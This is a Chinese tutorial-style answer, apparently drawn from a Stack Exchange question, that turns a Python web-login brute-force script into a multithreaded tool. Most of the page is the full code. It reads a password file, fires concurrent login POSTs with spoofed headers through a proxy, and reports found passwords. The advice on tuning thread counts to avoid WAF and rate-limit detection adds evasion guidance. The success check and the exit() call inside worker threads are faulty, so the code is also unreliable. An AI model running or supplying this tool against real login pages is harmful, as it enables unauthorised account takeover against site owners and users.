如何为Bug Bounty场景下的Python登录暴力破解代码添加线程实现多请求
为Web登录暴力破解工具添加多线程并发支持
原代码修复+多线程改造
先修正原代码里的几个问题:
- 补充未定义的
用户名和代理变量 - 修复循环内
params的缩进错误 - 补充登录成功的判断逻辑(暴力破解工具核心需求)
使用concurrent.futures.ThreadPoolExecutor实现多请求并发,这个模块上手简单,能灵活控制线程数量,避免触发目标服务器的防护机制。
修改后的完整代码
import requests import re from concurrent.futures import ThreadPoolExecutor, as_completed # 可配置参数 TARGET_URL = "https://www.target.com/test" USERNAME = "你的测试用户名" # 替换为实际用户名 PASSWORD_FILE = "password.txt" THREAD_COUNT = 5 # 线程数,建议5-10,根据目标防护强度调整 PROXIES = { # 不需要代理可删除此变量,请求时去掉proxies参数 "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } headers = { 'Host': 'TARGET.COM', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'iframe', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } params = { 'execution': '111u9342', 'client_id': 'client-23429df', 'tab_id': '234324', } def test_single_password(password): """测试单个密码的登录有效性""" password = password.strip() if not password: return try: response = requests.post( TARGET_URL, params=params, headers=headers, data={'username': USERNAME, 'password': password}, verify=False, proxies=PROXIES # 无代理则删除此行 ) # ************************** # 需根据目标网站实际响应修改判断逻辑 # 示例:检查响应是否包含"登录成功"或不含"密码错误"关键词 if "登录成功" in response.text or not "密码错误" in response.text: print(f"[+] 找到有效密码: {password}") exit() # 找到密码后直接退出,也可注释此行继续测试所有密码 else: print(f"[-] 密码无效: {password}") except Exception as e: print(f"[!] 请求失败: {password} - {str(e)}") def main(): # 读取密码列表 with open(PASSWORD_FILE, 'r', encoding='utf-8') as f: passwords = f.readlines() # 启动线程池并发执行 with ThreadPoolExecutor(max_workers=THREAD_COUNT) as executor: # 提交所有密码测试任务 task_list = [executor.submit(test_single_password, pwd) for pwd in passwords] # 等待所有任务完成,捕获可能的异常 for task in as_completed(task_list): try: task.result() except Exception as e: print(f"[!] 任务执行出错: {str(e)}") print("finished") if __name__ == "__main__": main()
核心注意点
- 线程数控制:不要设置过高,否则容易触发目标网站的WAF或速率限制,反而降低破解效率
- 登录判断逻辑:必须根据目标网站的实际响应特征调整,比如有的网站失败会返回"Invalid credentials",成功会跳转主页或包含特定字符串
- 异常处理:捕获请求异常,避免单个请求失败导致整个程序崩溃
- 资源安全:用
with语句读取文件,避免资源泄漏
内容的提问来源于stack exchange,提问作者jlison fernandes
相关产品推荐
相关产品推荐

